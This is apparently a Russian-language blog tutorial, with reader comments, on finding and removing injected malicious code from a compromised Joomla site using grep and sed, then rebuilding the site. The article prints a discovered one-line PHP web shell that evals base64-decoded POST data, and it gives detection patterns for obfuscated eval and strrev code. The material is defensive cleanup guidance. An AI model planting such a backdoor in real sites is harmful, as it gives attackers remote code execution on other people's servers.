Как удалить вредоносный код с сайта Joomla

Как удалить вредоносный код с сайта Joomla, 3.0 из 5 основанный на 47 голосах.

Поиск зараженных файлов

Если у вас есть доступ к сайту по SSH, вы можете найти файлы с инжектированным кодом выполнением следующих команд:

#grep -lr --include=*.php "eval(base64_decode" /pathWebroot
#grep -lr --include=*.php "strrev(" /pathWebroot

Если доступа нет, можете попросить службу поддержки хостинга сделать это за вас и выслать вам отчет.


Вот пример листинга:
./components/com_wrapper/wrapper.php
./components/com_wrapper/controller.php
./components/com_wrapper/router.php
./components/com_wrapper/views/wrapper/view.html.php
./components/com_banners/models/banner.php
./components/com_banners/models/banners.php
./components/com_banners/controller.php
./components/com_banners/router.php
./components/com_finder/views/search/view.html.php
./components/com_finder/helpers/route.php
./components/com_finder/helpers/html/filter.php
./components/com_finder/helpers/html/query.php
./components/com_finder/controllers/suggestions.json.php
./components/com_jshopping/tables/productfiles.php
./components/com_jshopping/tables/statictext.php
./components/com_jshopping/tables/country.php
./components/com_jshopping/tables/productlabel.php
./components/com_jshopping/tables/shippingext.php

....

./administrator/components/com_jshopping/controllers/orderstatus.php
./administrator/components/com_jshopping/controllers/shippingsprices.php
./administrator/components/com_jshopping/controllers/vendors.php
./administrator/components/com_jshopping/controllers/productlabels.php
./administrator/components/com_jshopping/controllers/categories.php
./administrator/components/com_cache/cache.php
./administrator/components/com_cache/models/cache.php
./administrator/components/com_cache/controller.php
./administrator/components/com_cache/views/purge/view.html.php
./administrator/components/com_cache/views/cache/view.html.php
./administrator/components/com_cache/helpers/cache.php
./administrator/components/com_content/tables/featured.php

Итого 1606 вхождений. Это практически все PHP файлы. Удалять инжектированный код вручную бесполезно. На это уйдет слишком много времени. Обнаружен и новый файл images/post.php для исполнения любого кода.

<?php if ($_POST["рhp"]) {eval(base64_decode($_POST["php"]));exit;} ?>

Удаление вредоносного кода из зараженных файлов

Сначала необходимо сделать полную резервную копию сайта на тот случай, если что-то пойдет не так.

Если вам очень важна немедленная работоспособность вашего сайта, вы можете удалить инжектированный код выполнив простые команды.

#grep -lr --include=*.php "eval(base64_decode" /pathWebroot | xargs sed -i.bak 's/eval(base64_decode[^;]*;//'
#grep -lr --include=*.php "strrev(" /pathWebroot | xargs sed -i._bak 's/$_ = strrev([^;]*; @$_([^;]*;//'

Команды удалят все вхождения подобного вредоносного кода из файлов и сделает их резервные копии с расширением .bak. Это позволит вам только выиграть время для осуществления полного восстановления сайта, но не избавит вас от последующих атак. Следует понимать, что высока вероятность наличия файлов, типа images/post.php описанного выше, для исполнения любого кода и старые дыры в установленных расширениях.


Сторонние расширения

Если вас не лишили административной панели сайта, вы можете посмотреть установленные компоненты, модули, плагины и шаблоны. Если доступа нет, необходимо просмотреть содержимое сайта подключившись по FTP или SSH.

Смотрим список модулей

#ls ./modules
index.html               mod_banners      mod_login          mod_users_latest
mod_articles_archive     mod_breadcrumbs  mod_menu           mod_weblinks
mod_articles_categories  mod_custom       mod_random_image   mod_whosonline
mod_articles_category    mod_feed         mod_related_items  mod_wrapper
mod_articles_latest      mod_finder       mod_search
mod_articles_news        mod_footer       mod_stats
mod_articles_popular     mod_languages    mod_syndicate

#ls ./administrator/modules
index.html  mod_latest  mod_menu             mod_quickicon  mod_title
mod_custom  mod_logged  mod_multilangstatus  mod_status     mod_toolbar
mod_feed    mod_login   mod_popular          mod_submenu    mod_version

Используются только стандартные модули Joomla

Смотрим список компонентов

#ls ./components
com_banners  com_finder     com_media      com_search    com_wrapper
com_contact  com_jshopping  com_newsfeeds  com_users     index.html
com_content  com_mailto     com_phocapdf   com_weblinks

#ls ./administrator/components
com_admin       com_config   com_installer     com_media      com_phocapdf   com_users
com_banners     com_contact  com_joomlaupdate  com_menus      com_plugins    com_weblinks
com_cache       com_content  com_jshopping     com_messages   com_redirect   index.html
com_categories  com_cpanel   com_languages     com_modules    com_search
com_checkin     com_finder   com_login         com_newsfeeds  com_templates

Кроме стандартных компонентов используются com_jshopping и com_phocapdf.

Смотрим список плагинов

#ls ./plugins
authentication  content  editors-xtd  finder      phocapdf   search  user
captcha         editors  extension    index.html  quickicon  system

Кроме того, необходимо просмотреть содержимое всех этих папок. Они представляют собою группы плагинов.

#ls ./plugins/authentication
gmail  index.html  joomla  ldap

#ls ./plugins/captcha
index.html  recaptcha

#ls ./plugins/content
emailcloak  geshi       joomla      pagebreak       rokbox
finder      index.html  loadmodule  pagenavigation  vote

#ls ./plugins/editors
codemirror  index.html  none  tinymce

#ls ./plugins/editors-xtd
article  image  index.html  pagebreak  readmore

#ls ./plugins/extension
index.html  joomla

#ls ./plugins/finder
categories  contacts  content  index.html  newsfeeds  weblinks

#ls ./plugins/quickicon
extensionupdate  index.html  joomlaupdate

#ls ./plugins/search
categories  contacts  content  index.html  newsfeeds  weblinks

#ls ./plugins/system
cache  highlight   languagecode    log     p3p       remember  sef
debug  index.html  languagefilter  logout  redirect  rokbox

#ls ./plugins/user
contactcreator  index.html  joomla  profile

Кроме стандартных плагинов используется плагин phocapdf.

Смотрим список шаблонов

#ls ./templates
atomic  beez_20  beez5  index.html  system  templ1

Кроме стандартных шаблонов используется templ1.


Восстановление зараженного сайта

CMS Joomla

  • Скачиваем дистрибутив последнего релиза, распаковываем архив в директорию будущего сайта и удаляем из нее директорию installation.
  • Переименовываем файл htaccess.txt в .htaccess. Если в нем использовались директивы записанные вами, перенесите их из зараженной копии.
  • Копируем файл configuration.php из зараженной копии, предварительно просмотрев на отсутствие в нем инжектированного кода.

Сторонние расширения

  • Находим используемые сторонние компоненты Phoca PDF, JoomShopping, плагин "Phoca PDF Content Plugin", скачиваем.
  • Распаковываем и копируем файлы, предварительно создав структуру директорий как у зараженной копии. Не забываем про файлы локализации.

Немного сложнее обстоит дело с шаблоном. Шаблон сгенерирован специальным программным обеспечением и найти его не представляется возможным. Придется "выковыривать из него все ненужное".

К счастью, в шаблоне присутствует 21 PHP файл и весь инжектированный код был удален командой
#grep -lr --include=*.php "strrev(" /pathWebroot | xargs sed -i._bak 's/$_ = strrev([^;]*; @$_([^;]*;//'

Собственные файлы

  • Создайте каталоги, в которых вы держали изображения, документы и прочие файлы и скопируйте их.

Сайт должен начать работать сразу, как только вы замените старое содержимое новым.

Зайдите в административную панель сайта, замените имя пользователя и пароль доступа к CMS и посмотрите, не заменен ли e-mail SuperUsers (злоумышленник может воспользоваться функцией восстановления забытого пароля). Никогда не используйте стандартное имя пользователя admin. Внимательно посмотрите права всех пользователей. Не исключена возможность заведения злоумышленником еще одного администратора.

Замените имя пользователя, пароль к базе данных MySQL, если используется стандартный префикс таблиц базы данных jos_ необходимо его заменить другим, это предотвратит вероятность атаки SQL инъекциями.

По окончанию восстановительных работ установите плагин BotsGo404.



Если эта статья показалась вам полезной, пожалуйста, проголосуйте за нее. Это поможет другим быстрее найти эту статью из множества других менее полезных.
( 47 Голосов ) 

Комментарии   

 
# Татьяна 20.10.2013 19:19
Вадим,
подскажите, пожалуйста, при выполнении команды
#grep -lr --include=*.php "strrev(" /pathWebroot
выдается
/libraries/simplepie/simplepie.php
/libraries/phputf8/strrev.php
/libraries/joomla/utilities/string.php

просмотрев эти файлы и сравнив их с теми, что входят в стандартный пакет Joomla, я ничего такого не заметила, попробовала их просто перезаписать, но при проверке они вновь выдаются... Помогите понять что вообще выявляет эта команда, что надо искать и исправить в указанных файлах? Спасибо.
Ответить | Ответить с цитатой | Цитировать
 
 
# Ковенко В.Б. 21.10.2013 21:07
Ищутся php файлы, в которых присутствует строка с функцией strrev. Эта функция переворачивает строку наизнанку (татьяна будет аняьтат). Ею гримируют вражеский код . Пришлите мне файлы на и напишите какая у вас версия Joomla.
Ответить | Ответить с цитатой | Цитировать
 
 
# сайтсайтов.рф 19.02.2014 19:26
Спасибо, классная статья! Хотел дополнить одну вещь, бывает что команда "base64_decode" состовная, т.е.:
'bas'.'e64'.'_dec'.'ode'
и обычным поиском не найти, я написал регулярное выеражения для поиска , к пример через total командер:
+('|"|\.)*[a]+('|"|\.)*+('|"|\.)*[e]+('|"|\.)*[6]+('|"|\.)*[4]+('|"|\.)*[_]+('|"|\.)*[d]+('|"|\.)*
Всем кому будет полезно - пользуйтесь, мне не жалко.
Ответить | Ответить с цитатой | Цитировать
 
 
# Богдан 24.02.2014 19:08
Был заражен сайт, после обновления до приемлемой версии и очистки кода от мусора перестала работать панель меню в верхней части, нехватает некоторих файлов. Можно их както востановить? /administrator/components/com_menus/tables/menu.php не найден. Они стандарние для управления меню(menu.ph)?
Ответить | Ответить с цитатой | Цитировать
 
 
# Ковенко В.Б. 21.03.2014 20:39
Да, просто скопируйте из дистрибутива недостающее.
Ответить | Ответить с цитатой | Цитировать
 

Добавить комментарий

Уважаемые посетители!
Комментарии модерируются, активные ссылки на сайты не публикуются. Пожалуйста, не тратьте понапрасну свое и мое время на попытку размещения спамерских ссылок.
Спасибо.


Защитный код
Обновить